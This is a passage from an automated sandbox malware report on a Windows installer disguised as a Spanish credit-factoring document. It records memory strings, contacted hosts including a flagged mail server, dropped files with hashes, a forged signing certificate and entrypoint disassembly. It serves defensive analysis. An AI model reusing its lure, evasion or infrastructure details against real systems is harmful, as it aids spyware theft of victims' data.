nsis.sf.net/NSIS_ErrorError Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe

false high

www.globaltrust.info0 CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

certificates.starfieldtech.com/repository/1604 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false high

acedicom.edicomgroup.com/doc0 CasPol.exe, 00000003.00000003.10531875778.00000000206AD000.00000004.00000800.00020000.00000000.sdmp

false high

ac.economia.gob.mx/last.crl0G CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://www.catcert.net/verarrel CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.disig.sk/ca0f CasPol.exe, 00000003.00000002.15213552830.000000001F7D9000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0

CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false high

www.e-szigno.hu/RootCA.crl CasPol.exe, 00000003.00000003.10527566219.000000001F822000.00000004.00000800.00020000.00000000.sdmp

false high

www.sk.ee/juur/crl/0 CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

crl.chambersign.org/chambersignroot.crl0 CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

certs.oati.net/repository/OATICA2.crl0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

crl.oces.trust2408.com/oces.crl0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.quovadis.bm0 CasPol.exe, 00000003.00000003.10531875778.00000000206AD000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://eca.hinet.net/repository0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false high

IOywau.com CasPol.exe, 00000003.00000002.15206254157.000000001D591000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

crl.ssc.lt/root-a/cacrl.crl0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

certs.oaticerts.com/repository/OATICA2.crl CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

Name Source Malicious Antivirus Detection Reputation

Copyright Joe Security LLC 2022 Page 13 of 50

www.trustdst.com/certificates/policy/ACES-index.html0

CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

certs.oati.net/repository/OATICA2.crt0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.accv.es00 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.pkioverheid.nl/policies/root-policy-G20 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.pki.admin.ch/policy/CPS_2_16_756_1_17_3_21_1.pdf0

CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false high

www.e-trust.be/CPS/QNcerts CasPol.exe, 00000003.00000003.10525913075.000000002077E000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10526561189.0000000020784000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

ocsp.ncdc.gov.sa0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

fedir.comsign.co.il/crl/ComSignCA.crl0 CasPol.exe, 00000003.00000003.10531875778.00000000206AD000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0

CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

web.ncdc.gov.sa/crl/nrcaparta1.crl CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.datev.de/zertifikat-policy-int0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false high

mail.ferdi.hu CasPol.exe, 00000003.00000002.15207830979.000000001D6AC000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://repository.luxtrust.lu0 CasPol.exe, 00000003.00000003.10526786214.000000001F82A000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

cps.chambersign.org/cps/chambersroot.html0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.acabogacia.org0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

ocsp.eca.hinet.net/OCSP/ocspG2sha20 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false high

www.uce.gub.uy/acrn/acrn.crl0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

crl.mesince.com/ms.crl0 Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe

false Avira URL Cloud: safe unknown

crl.securetrust.com/SGCA.crl0 CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.crt0

CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.agesic.gub.uy/acrn/acrn.crl0) CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

crl.securetrust.com/STCA.crl0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

crl.mesince.com/ms-tsa.crl0F Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe

false Avira URL Cloud: safe unknown

Name Source Malicious Antivirus Detection Reputation

Copyright Joe Security LLC 2022 Page 14 of 50

r3.i.lencr.org/0 CasPol.exe, 00000003.00000002.15213552830.000000001F7D9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10517276404.000000001F7FC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.15213389429.000000001F7BA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10520257216.000000001F7FA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.15207830979.000000001D6AC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10508659557.000000001F7FF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10507944663.000000001F7FF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10533101751.000000001F816000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.rcsc.lt/repository0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www2.postsignum.cz/crl/psrootqca2.crl01 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://web.certicamara.com/marco-legal0Z CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false high

www.e-szigno.hu/RootCA.crt0 CasPol.exe, 00000003.00000003.10527566219.000000001F822000.00000004.00000800.00020000.00000000.sdmp

false high

www.quovadisglobal.com/cps0 CasPol.exe, 00000003.00000003.10527607043.000000001F827000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10527099500.000000001F825000.00000004.00000800.00020000.00000000.sdmp

false high

www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0

CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp

false high

x1.c.lencr.org/0 CasPol.exe, 00000003.00000002.15213552830.000000001F7D9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10517276404.000000001F7FC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.15213389429.000000001F7BA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10520257216.000000001F7FA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.15207830979.000000001D6AC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10508659557.000000001F7FF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10507944663.000000001F7FF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10533101751.000000001F816000.00000004.00000800.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

Name Source Malicious Antivirus Detection Reputation

World Map of Contacted IPs

Copyright Joe Security LLC 2022 Page 15 of 50

No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

142.250.185.174 drive.google.com United States 15169 GOOGLEUS false

172.217.16.129 googlehosted.l.googleusercontent.com

United States 15169 GOOGLEUS false

185.51.191.23 mail.ferdi.hu Hungary 43359 TARHELYHU true

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 615124

Start date and time: 25/04/202219:42:29 2022-04-25 19:42:29 +02:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 13m 25s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301

Run name: Suspected Instruction Hammering

Number of analysed new started processes analysed:

14

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabledEGA enabledHDC enabledAMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.spyw.evad.winEXE@4/6@3/3

Public IPs

General Information

Copyright Joe Security LLC 2022 Page 16 of 50

EGA Information: Successful, ratio: 100%

HDC Information: Failed

HCA Information: Successful, ratio: 100%Number of executed functions: 0Number of non-executed functions: 0

Cookbook Comments: Found application associated with file extension: .exeAdjust boot timeEnable AMSI

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exeTCP Packets have been reduced to 100Excluded IPs from analysis (wh itelisted): 51.124.57.242, 20.82.19.171, 8.249.55.254Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, client.wns.windows.com, wdcpalt.microsoft.com, tile-service.weather.microsoft.com, wd-prod-cp-eu-west-2-fe.westeurope.cloudapp.azure.com, ctldl.windowsupdate.com, img-prod-cms-rt-microsoft-com.akamaized.net, wdcp.microsoft.com, arc.msn.com, wd-prod-cp.trafficmanager.net, wd-prod-cp-eu-west-3-fe.westeurope.cloudapp.azure.comNot all processes where analyzed, report is missing behavior informationReport size getting too big, t oo many NtAllocateVirtualMemory calls found.Report size getting too big, t oo many NtOpenKeyEx calls found.Report size getting too big, t oo many NtProtectVirtualMemory calls found.Report size getting too big, t oo many NtQueryValueKey calls found.Report size getting too big, t oo many NtReadVirtualMemory ca lls found.

Time Type Description

19:44:21 API Interceptor 1x Sleep call for process: Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe modified

19:44:47 API Interceptor 2789x Sleep call for process: CasPol.exe modified

⊘ No context

⊘ No context

⊘ No context

⊘ No context

⊘ No context

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

File Type: data

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Copyright Joe Security LLC 2022 Page 17 of 50

Category: modified

Size (bytes): 330

Entropy (8bit): 3.453422334585053

Encrypted: false

SSDEEP: 6:kKS8iW2ka3sN+SkQlPlEGYRMY9z+4KlDA3RUeAxf1:KTPTkPlE99SNxAhUekf1

MD5: 0EAD909351FE6BA4E37724C91204DE5E

SHA1: 1CC51B8954DA663CD594C68631A40355CFE3D813

SHA-256: 3DE7B545886424E803E8965C14EE00EDAA8F81047C100FC1410E0BF14D7EAB51

SHA-512: 81C58B5E52DCABC82F168385A6582E5E512EA6CE1F33795E9862D9CF0253601D10D4347499952D58A01DBB6BB8966DA8DD6361BE457F912E55E3E2A9B2CD3788

Malicious: false

Reputation: low

Preview: p...... ........[..g.X..(...............................................G..s.X.. ........%,.)......([email protected].:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".8.0.2.5.2.c.e.6.b.2.2.9.d.8.1.:.0."...

Process: C:\Users\user\Desktop\Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 100x100, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=3], baseline, precision 8, 110x110, frames 3

Category: dropped

Size (bytes): 6581

Entropy (8bit): 7.904676853783499

Encrypted: false

SSDEEP: 192:oXRQwIbkAtvI9H6cbJhq9JxOnjMBb9FWc:KRQvkAtvKHFbJWj8ib9FWc

MD5: 2FA9A311EFD3BF4FAD04E6389E8C2616

SHA1: 1ADEE47523810E21EE861B6129EADDA7A9A2DA84

SHA-256: B42E68FEE4012913887712E6D593378E0E1AC1E6BFA681ECCCC031CFCE16D070

SHA-512: D92187624E870E5F4F09C83614BA4E4C09C812602E14D66C87B0E1187B10C1200D96CFBDF7320EAE5AA41D589AAF436E0501AD7EB777E4B3EC23500D6CA28CAF

Malicious: false

Reputation: low

Preview: ......JFIF.....d.d.....:Exif..MM.*......Q...........Q..........aQ..........a.......C....................................................................C.......................................................................n.n.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....9...............v....t.vi....bW.w..$u..o..c..g.G..m...;......9....v.[.>..{.aG....4."............$..u..=-d....un..&.)..W?2..q...Rr.0....I{F...R.3..]...1.)....|....~>nA!8......W...p.....o.....^............70 68.'...j..YcXd..g,...y<.."..S.'....&.........xe....B.....S..8..9..|.B..".;|.e../....z..

Process: C:\Users\user\Desktop\Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe

File Type: data

Category: dropped

Size (bytes): 134966

Entropy (8bit): 4.073060471551526

Encrypted: false

SSDEEP: 768:25Vf4on+k3ta7MXH5L83Lqcep0hTBSYv+zCigzNpys3k/kVpK5hlWy+vpRGZdOo2:qgMXHx83WJiBfhiJ0abTQmzx0WdV0

MD5: F7E6CEA05E0CADC9889F98EFC11D6B9C

SHA1: A510C10D24B9AE426D051943C63DAA5085FA7884

SHA-256: C540E35D45801C7F1FB954DD001200E27B7BB45572AEC807DA6F2A2556AF2AE6

SHA-512: 1405BED0F37766230085AFBB6F7714BA17FEF123681B7F65915E18222FAC1A80CDA47463421425405F4FF79E670D5AE7D609CB5902A90835CDD537C7351074AC

Malicious: false

Reputation: low

Preview: PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP

Process: C:\Users\user\Desktop\Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe

C:\Users\user\AppData\Local\Temp\ArtDeco_green_1.bmp

C:\Users\user\AppData\Local\Temp\Forelbige.ext

C:\Users\user\AppData\Local\Temp\microphone-hardware-disabled-symbolic.svg

Copyright Joe Security LLC 2022 Page 18 of 50

File Type: SVG Scalable Vector Graphics image

Category: modified

Size (bytes): 1163

Entropy (8bit): 5.140393170708744

Encrypted: false

SSDEEP: 24:t4CjlVWB1ngUq/OS5iN/jtyKbRAecFhBrN3AGM+5BLBkq:LWyU3vltNtAecFZTMCBLBkq

MD5: F5CDE3C7813F06A3771F22497130FD6A

SHA1: 361CEAD7BFCB3F509EA950E4A8D2EF54471E6DFE

SHA-256: 9FDB37371127BFA1B1098AD0192DB3885D7A625E41BCB22E6C2244B2AA05E82B

SHA-512: F71AB5364D8A87A7F23F73B6030FC0C9998780EB74A8EFBA581F3BC3762F92BCA185F0D1F3F1A148279F494182BE1DF0BCC5DDE31058CF7A9101402B58F2F148

Malicious: false

Reputation: low

Preview: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16">. <g fill="#2e3436">. <path d="m 220,248 c -1.662,0 -3,1.338 -3,3 v 4 h 6 v -4 c 0,-1.662 -1.338,-3 -3,-3 z m -6,6 v 1 h 1.5 v -1 z m 10.5,0 v 1 h 1.5 v -1 z m -8.95312,6 c 0.88748,0.98341 2.08853,1.68073 3.45312,1.91016 V 264 h 2 v -2.08984 c 1.36459,-0.22943 2.56564,-0.92675 3.45312,-1.91016 h -2.41406 c -0.61304,0.30957 -1.29807,0.5 -2.03906,0.5 -0.74099,0 -1.42602,-0.19043 -2.03906,-0.5 z" style="line-height:normal;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000;text-transform:none;text-orientation:mixed;white-space:normal;shape-padding:0;isolation:auto;mix-blend-mode:normal;solid-color:#000;solid-opacity:1" color="#000" font-weight="400" font-family="sans-serif" overflow="visib

Process: C:\Users\user\Desktop\Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 12288

Entropy (8bit): 5.814115788739565

Encrypted: false

SSDEEP: 192:Zjvco0qWTlt70m5Aj/lQ0sEWD/wtYbBHFNaDybC7y+XBz0QPi:FHQlt70mij/lQRv/9VMjzr

MD5: CFF85C549D536F651D4FB8387F1976F2

SHA1: D41CE3A5FF609DF9CF5C7E207D3B59BF8A48530E

SHA-256: 8DC562CDA7217A3A52DB898243DE3E2ED68B80E62DDCB8619545ED0B4E7F65A8

SHA-512: 531D6328DAF3B86D85556016D299798FA06FEFC81604185108A342D000E203094C8C12226A12BD6E1F89B0DB501FB66F827B610D460B933BD4AB936AC2FD8A88

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 0%, BrowseAntivirus: ReversingLabs, Detection: 0%

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr*.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....Oa...........!....."...........*[email protected][email protected][email protected]............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@[email protected].......*[email protected].......`.......,[email protected]................................................................................................................................................................................................................................................................................................................................................................................................

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 30

Entropy (8bit): 3.964735178725505

Encrypted: false

SSDEEP: 3:IBVFBWAGRHneyy:ITqAGRHner

MD5: 9F754B47B351EF0FC32527B541420595

SHA1: 006C66220B33E98C725B73495FE97B3291CE14D9

SHA-256: 0219D77348D2F0510025E188D4EA84A8E73F856DEB5E0878D673079D05840591

SHA-512: C6996379BCB774CE27EEEC0F173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A08532

Malicious: false

Preview: NordVPN directory not found!..

File type: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

C:\Users\user\AppData\Local\Temp\nsoA828.tmp\System.dll

\Device\ConDrv

Static File Info

General

Copyright Joe Security LLC 2022 Page 19 of 50

Entropy (8bit): 5.86142523062926

TrID: Win32 Executable (generic) a (10002005/4) 99.96%Generic Win/DOS Executable (2004/3) 0.02%DOS Executable Generic (2002/1) 0.02%Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%

File name: Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe

File size: 194608

MD5: 6b6bd25a3f0e2419ef5d628e66117e82

SHA1: d9c4384e0ecc217b6aa2e482680749136e94cea4

SHA256: 2ed3b8699c5693290432c2830348a4574d75b992294d65d3ceea66dc2e036416

SHA512: f0da8b315e17a00f4534b2cd35c3975197cbd5e5bec93931c2a9b0f9862d4bb1d7130881a9f05ab049093dac809517d62396babafd63927aae4b7dbcb4d12f17

SSDEEP: 3072:ifY/TU9fE9PEtueSZl9L/LUb+e3TBFLoGO5dGTkuN:0Ya6g+jDW+wG5dGjN

TLSH: 1E148EB52690C032FAD133305D679A926A18BC515D72BD8E3393FF9F3A326815E1721E

File Content Preview:

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf.*_9..Pf..Pg.LPf.*_;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................h...*.....

Icon Hash: 466c60e2c0909858

Entrypoint: 0x403640

Entrypoint Section: .text

Digitally signed: true

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

DLL Characteristics: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Time Stamp: 0x614F9B1F [Sat Sep 25 21:56:47 2021 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: 61259b55b8912888e90f516ca08dc514

Signature Valid: false

Signature Issuer: [email protected], CN=Magistratens4, OU=APPELINSTANSER, O=Psykogent, L=hjskolerne, S=Hypocrisis3, C=SZ

Signature Validation Error: A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider

Error Number: -2146762487

Not Before, Not After 25/04/2022 11:22:03 25/04/2023 11:22:03

Subject Chain [email protected], CN=Magistratens4, OU=APPELINSTANSER, O=Psykogent, L=hjskolerne, S=Hypocrisis3, C=SZ

Version: 3

Thumbprint MD5: 21E55DE85D713F8350CABF0E3BC9F034

Thumbprint SHA-1: 32CDB72C327C79ACE6A601E4B947562A4CA642BA

Thumbprint SHA-256: 592C32CF121A5ABDBF8006DC9837C67A458AD7A8024C9FCA8359DA5225CB9E8D

Serial: 00

Instruction

push ebp

mov ebp, esp

sub esp, 000003F4h

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Copyright Joe Security LLC 2022 Page 20 of 50

push ebx

push esi

push edi

push 00000020h

pop edi

xor ebx, ebx

push 00008001h

mov dword ptr [ebp-14h], ebx

mov dword ptr [ebp-04h], 0040A230h

mov dword ptr [ebp-10h], ebx

call dword ptr [004080C8h]

mov esi, dword ptr [004080CCh]

lea eax, dword ptr [ebp-00000140h]

push eax

mov dword ptr [ebp-0000012Ch], ebx

mov dword ptr [ebp-2Ch], ebx

mov dword ptr [ebp-28h], ebx

mov dword ptr [ebp-00000140h], 0000011Ch

call esi

test eax, eax

jne 00007FD75CAF918Ah

lea eax, dword ptr [ebp-00000140h]

mov dword ptr [ebp-00000140h], 00000114h

push eax

call esi

mov ax, word ptr [ebp-0000012Ch]

mov ecx, dword ptr [ebp-00000112h]

sub ax, 00000053h

add ecx, FFFFFFD0h

neg ax

sbb eax, eax

mov byte ptr [ebp-26h], 00000004h

not eax

and eax, ecx

mov word ptr [ebp-2Ch], ax

cmp dword ptr [ebp-0000013Ch], 0Ah

jnc 00007FD75CAF915Ah

and word ptr [ebp-00000132h], 0000h

mov eax, dword ptr [ebp-00000134h]

movzx ecx, byte ptr [ebp-00000138h]

mov dword ptr [0042A318h], eax

xor eax, eax

mov ah, byte ptr [ebp-0000013Ch]

movzx eax, ax

or eax, ecx

xor ecx, ecx

mov ch, byte ptr [ebp-2Ch]

movzx ecx, cx

shl eax, 10h

or eax, ecx

Instruction

Programming Language: [EXP] VC++ 6.0 SP5 build 8804

Name Virtual Address Virtual Size Is in Section

IMAGE_DIRECTORY_ENTRY_EXPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IMPORT 0x8504 0xa0 .rdata

Rich Headers

Data Directories

Copyright Joe Security LLC 2022 Page 21 of 50

IMAGE_DIRECTORY_ENTRY_RESOURCE 0x4d000 0x183d8 .rsrc

IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x0 0x0

IMAGE_DIRECTORY_ENTRY_SECURITY 0x2deb8 0x1978 .ndata

IMAGE_DIRECTORY_ENTRY_BASERELOC 0x0 0x0

IMAGE_DIRECTORY_ENTRY_DEBUG 0x0 0x0

IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_TLS 0x0 0x0

IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x0 0x0

IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IAT 0x8000 0x2b0 .rdata

IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_RESERVED 0x0 0x0

Name Virtual Address Virtual Size Is in Section

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x1000 0x6676 0x6800 False 0.656813401442 data 6.41745998719 IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

.rdata 0x8000 0x139a 0x1400 False 0.4498046875 data 5.14106681717 IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

.data 0xa000 0x20378 0x600 False 0.509765625 data 4.11058212765 IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

